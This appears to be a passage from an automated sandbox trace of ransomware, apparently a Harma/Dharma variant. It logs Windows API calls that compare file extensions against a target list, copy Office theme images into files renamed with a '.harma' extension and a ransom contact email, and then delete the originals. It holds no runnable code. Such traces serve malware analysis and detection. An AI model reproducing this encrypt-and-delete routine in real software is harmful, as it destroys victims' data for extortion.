lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.454] lstrlenW (lpString=".pdf") returned 4 [0057.454] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.454] lstrlenW (lpString=".xls") returned 4 [0057.454] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.454] lstrlenW (lpString=".xlsx") returned 5 [0057.454] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.454] lstrlenW (lpString=".ppt") returned 4 [0057.454] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.454] lstrlenW (lpString=".zip") returned 4 [0057.454] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.454] lstrlenW (lpString=".rar") returned 4 [0057.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.454] lstrlenW (lpString=".bz2") returned 4 [0057.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.454] lstrlenW (lpString=".7z") returned 3 [0057.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.454] lstrlenW (lpString=".dbf") returned 4 [0057.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.455] lstrlenW (lpString=".1cd") returned 4 [0057.455] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.455] lstrlenW (lpString=".jpg") returned 4 [0057.455] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.455] lstrlenW (lpString=".doc") returned 4 [0057.455] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.455] lstrlenW (lpString=".docx") returned 5 [0057.455] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.455] lstrlenW (lpString=".pdf") returned 4 [0057.455] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.455] lstrlenW (lpString=".xls") returned 4 [0057.455] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.455] lstrlenW (lpString=".xlsx") returned 5 [0057.455] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.455] lstrlenW (lpString=".ppt") returned 4 [0057.455] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.455] lstrlenW (lpString=".zip") returned 4 [0057.455] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.456] lstrlenW (lpString=".rar") returned 4 [0057.456] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.456] lstrlenW (lpString=".bz2") returned 4 [0057.456] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.456] lstrlenW (lpString=".7z") returned 3 [0057.456] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.456] lstrlenW (lpString=".dbf") returned 4 [0057.456] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.456] lstrlenW (lpString=".1cd") returned 4 [0057.456] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.456] lstrlenW (lpString=".jpg") returned 4 [0057.456] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.456] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.456] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.737] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=27407) returned 1 [0057.737] CloseHandle (hObject=0x214) returned 1 [0057.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0057.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.738] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.738] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.739] GetLastError () returned 0x0 [0057.739] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0057.945] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0057.947] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.947] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.948] SetEndOfFile (hFile=0x1fc) returned 1 [0057.948] CloseHandle (hObject=0x1fc) returned 1 [0057.948] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.948] SetEndOfFile (hFile=0x214) returned 1 [0057.951] CloseHandle (hObject=0x214) returned 1 [0057.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.951] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0057.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.952] lstrlenW (lpString=".doc") returned 4 [0057.952] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.952] lstrlenW (lpString=".docx") returned 5 [0057.952] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.952] lstrlenW (lpString=".pdf") returned 4 [0057.952] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.952] lstrlenW (lpString=".xls") returned 4 [0057.952] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.952] lstrlenW (lpString=".xlsx") returned 5 [0057.952] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.952] lstrlenW (lpString=".ppt") returned 4 [0057.952] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.952] lstrlenW (lpString=".zip") returned 4 [0057.952] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.952] lstrlenW (lpString=".rar") returned 4 [0057.952] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.952] lstrlenW (lpString=".bz2") returned 4 [0057.952] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.953] lstrlenW (lpString=".7z") returned 3 [0057.953] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.953] lstrlenW (lpString=".dbf") returned 4 [0057.953] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.953] lstrlenW (lpString=".1cd") returned 4 [0057.953] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.953] lstrlenW (lpString=".jpg") returned 4 [0057.953] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.953] lstrlenW (lpString=".doc") returned 4 [0057.953] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.953] lstrlenW (lpString=".docx") returned 5 [0057.953] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.953] lstrlenW (lpString=".pdf") returned 4 [0057.953] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.953] lstrlenW (lpString=".xls") returned 4 [0057.953] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.953] lstrlenW (lpString=".xlsx") returned 5 [0057.953] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.953] lstrlenW (lpString=".ppt") returned 4 [0057.953] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.954] lstrlenW (lpString=".zip") returned 4 [0057.954] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.954] lstrlenW (lpString=".rar") returned 4 [0057.954] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.954] lstrlenW (lpString=".bz2") returned 4 [0057.954] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.954] lstrlenW (lpString=".7z") returned 3 [0057.954] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.954] lstrlenW (lpString=".dbf") returned 4 [0057.954] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.954] lstrlenW (lpString=".1cd") returned 4 [0057.954] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0057.954] lstrlenW (lpString=".jpg") returned 4 [0057.954] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.954] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.954] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.955] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1287) returned 1 [0057.956] CloseHandle (hObject=0x214) returned 1 [0057.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0057.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.956] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.956] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0058.136] GetLastError () returned 0x0 [0058.136] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x507, lpOverlapped=0x0) returned 1 [0058.138] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x510, lpOverlapped=0x0) returned 1 [0058.139] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.139] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.139] SetEndOfFile (hFile=0x1d0) returned 1 [0058.139] CloseHandle (hObject=0x1d0) returned 1 [0058.140] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.140] SetEndOfFile (hFile=0x214) returned 1 [0058.141] CloseHandle (hObject=0x214) returned 1 [0058.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.141] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0058.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.141] lstrlenW (lpString=".doc") returned 4 [0058.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.142] lstrlenW (lpString=".docx") returned 5 [0058.142] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.142] lstrlenW (lpString=".pdf") returned 4 [0058.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.142] lstrlenW (lpString=".xls") returned 4 [0058.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.142] lstrlenW (lpString=".xlsx") returned 5 [0058.142] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.142] lstrlenW (lpString=".ppt") returned 4 [0058.142] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.142] lstrlenW (lpString=".zip") returned 4 [0058.142] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.142] lstrlenW (lpString=".rar") returned 4 [0058.142] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.142] lstrlenW (lpString=".bz2") returned 4 [0058.142] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.142] lstrlenW (lpString=".7z") returned 3 [0058.142] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.142] lstrlenW (lpString=".dbf") returned 4 [0058.142] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.142] lstrlenW (lpString=".1cd") returned 4 [0058.142] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.142] lstrlenW (lpString=".jpg") returned 4 [0058.142] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.143] lstrlenW (lpString=".doc") returned 4 [0058.143] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.143] lstrlenW (lpString=".docx") returned 5 [0058.143] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.143] lstrlenW (lpString=".pdf") returned 4 [0058.143] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.143] lstrlenW (lpString=".xls") returned 4 [0058.143] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.143] lstrlenW (lpString=".xlsx") returned 5 [0058.143] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.143] lstrlenW (lpString=".ppt") returned 4 [0058.143] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.143] lstrlenW (lpString=".zip") returned 4 [0058.143] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.143] lstrlenW (lpString=".rar") returned 4 [0058.143] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.143] lstrlenW (lpString=".bz2") returned 4 [0058.143] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.143] lstrlenW (lpString=".7z") returned 3 [0058.143] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.143] lstrlenW (lpString=".dbf") returned 4 [0058.143] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.143] lstrlenW (lpString=".1cd") returned 4 [0058.143] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0058.143] lstrlenW (lpString=".jpg") returned 4 [0058.143] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.144] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0058.144] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0058.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.144] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=5120) returned 1 [0058.144] CloseHandle (hObject=0x214) returned 1 [0058.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0058.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.144] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.144] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0058.146] GetLastError () returned 0x0 [0058.146] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1400, lpOverlapped=0x0) returned 1 [0058.148] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0058.150] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.150] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.150] SetEndOfFile (hFile=0x1d0) returned 1 [0058.150] CloseHandle (hObject=0x1d0) returned 1 [0058.150] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.150] SetEndOfFile (hFile=0x214) returned 1 [0058.151] CloseHandle (hObject=0x214) returned 1 [0058.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.151] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0058.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0058.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 